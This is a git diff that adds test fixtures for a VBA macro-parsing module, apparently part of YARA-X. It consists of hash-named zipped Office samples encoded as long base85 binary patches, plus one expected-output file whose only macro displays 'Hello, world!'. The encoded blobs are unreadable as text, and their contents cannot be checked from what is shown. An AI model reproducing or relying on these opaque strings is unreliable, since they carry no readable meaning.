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 literal 0 HcmV?d00001 diff --git a/lib/src/modules/vba/tests/testdata/c62c12501055319db152f092e263f65da037c4a6f7ec0112832b95916ac8a1fb.out b/lib/src/modules/vba/tests/testdata/c62c12501055319db152f092e263f65da037c4a6f7ec0112832b95916ac8a1fb.out new file mode 100644 index 00000000..f7d86e0b --- /dev/null +++ b/lib/src/modules/vba/tests/testdata/c62c12501055319db152f092e263f65da037c4a6f7ec0112832b95916ac8a1fb.out @@ -0,0 +1,26 @@ +has_macros: true +modules: + - name: "ThisDocument" + type: MODULE_TYPE_CLASS + code: | + Attribute VB_Name = "ThisDocument" + Attribute VB_Base = "1Normal.ThisDocument" + Attribute VB_GlobalNameSpace = False + Attribute VB_Creatable = False + Attribute VB_PredeclaredId = True + Attribute VB_Exposed = True + Attribute VB_TemplateDerived = True + Attribute VB_Customizable = True + + Private Sub Document_New() + MsgBox "Hello, world!" + End Sub + +project_info: + name: "Project" + version: "1769106437.10" + references: + - "stdole" + - "Normal" + - "Office" + module_count: 1 \ No newline at end of file diff --git a/lib/src/modules/vba/tests/testdata/e861196b3615e6c39c56e6fe704b832fe53c192752c554e28efb2c6157336101.in.zip b/lib/src/modules/vba/tests/testdata/e861196b3615e6c39c56e6fe704b832fe53c192752c554e28efb2c6157336101.in.zip new file mode 100644 index 0000000000000000000000000000000000000000..c898c358213b21c1ec48cdb442d719e56726e755 GIT binary patch literal 7251 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 